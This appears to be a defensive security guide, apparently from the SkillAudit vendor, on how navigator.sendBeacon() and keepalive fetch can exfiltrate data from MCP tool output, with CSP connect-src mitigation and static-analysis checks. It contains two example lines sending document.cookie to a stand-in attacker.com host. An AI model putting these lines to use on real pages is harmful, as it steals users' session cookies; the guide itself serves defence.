MCP server Beacon API security — navigator.sendBeacon(), uninterruptible exfiltration, CORS simple-request bypass, keepalive fetch, and CSP connect-src

What sendBeacon() does that fetch() does not

navigator.sendBeacon(url, data) queues a small HTTP POST to the given URL and returns a boolean indicating whether the browser accepted the queue entry. The browser delivers the request asynchronously — even after the page's JavaScript context is destroyed by navigation or tab close. This "fire and forget after page death" behavior is the intentional design for analytics beacons, but it creates a fundamentally different threat model from ordinary HTTP requests in MCP tool output:

CORS and the simple-request exemption

Beacon requests with a text/plain body (the default when passing a string), application/x-www-form-urlencoded, or multipart/form-data are CORS simple requests — they require no CORS preflight. The browser sends the POST directly without first asking the server whether the cross-origin request is allowed. This means that even if the attacker's server does not send Access-Control-Allow-Origin, the browser still fires the request; the server receives the data. The CORS check only governs whether the response is readable by the requesting script — and sendBeacon() discards the response anyway.

// CORS simple request — no preflight, no response readable — but POST arrives at attacker server
navigator.sendBeacon('https://attacker.com/exfil', document.cookie);

// To trigger preflight (application/json Content-Type), use fetch() — sendBeacon() ignores Content-Type for simple requests
// and will always send text/plain if data is a string

keepalive fetch() — the same primitive with more control

The fetch(url, { keepalive: true }) option is the modern equivalent of sendBeacon() for scripts that need full response access or request configuration. Like sendBeacon(), keepalive fetch requests survive page unload and tab close — they are queued at the browser level and delivered even after the JavaScript context is destroyed. The 64 KB payload limit applies equally, shared across all in-flight keepalive requests from the same browsing context. The CORS rules apply normally to keepalive fetch (non-simple requests trigger preflight), which makes it slightly harder to use for exfiltration without a cooperating server than sendBeacon() with a plain string payload.

// Keepalive fetch — survives navigation, but can trigger CORS preflight
fetch('https://attacker.com/exfil', {
  method: 'POST',
  keepalive: true,
  body: document.cookie,          // text/plain — no preflight
  // If body were JSON, preflight would fire first
});

CSP connect-src — the enforcement lever

Both navigator.sendBeacon() and fetch() are governed by the CSP connect-src directive. If the MCP client sets a Content Security Policy with a restrictive connect-src, the browser will block beacon calls to URLs not covered by the directive — even though the request would otherwise succeed silently.

# Restrictive connect-src — only allow connections back to same origin and known APIs
Content-Security-Policy: default-src 'self'; connect-src 'self' https://api.skillaudit.dev;

With this policy, any attempt to call navigator.sendBeacon('https://attacker.com/...', data) from injected tool output will be blocked by the browser's CSP engine and a violation will be logged (or reported to the Reporting API endpoint if configured). The request never leaves the browser.

Detection in static analysis

SkillAudit's static scanner looks for patterns indicating sendBeacon() call sites that may be reachable from tool output data:

• navigator.sendBeacon( with a URL that incorporates a variable derived from tool output data
• fetch(..., { keepalive: true }) calls with similar data flow
• CSP audit: connect-src absent, set to *, or containing http: / https: wildcards
• DOMPurify configuration audit: whether scripts are allowed in sanitized output (scripts should never be allowed in tool output rendering contexts)

SkillAudit findings for Beacon API

Run a SkillAudit scan on your MCP server to audit Beacon API exposure. The scanner checks whether tool output rendering allows script execution, audits CSP connect-src restrictiveness, and flags data flows from tool output into uncontrolled network request sinks.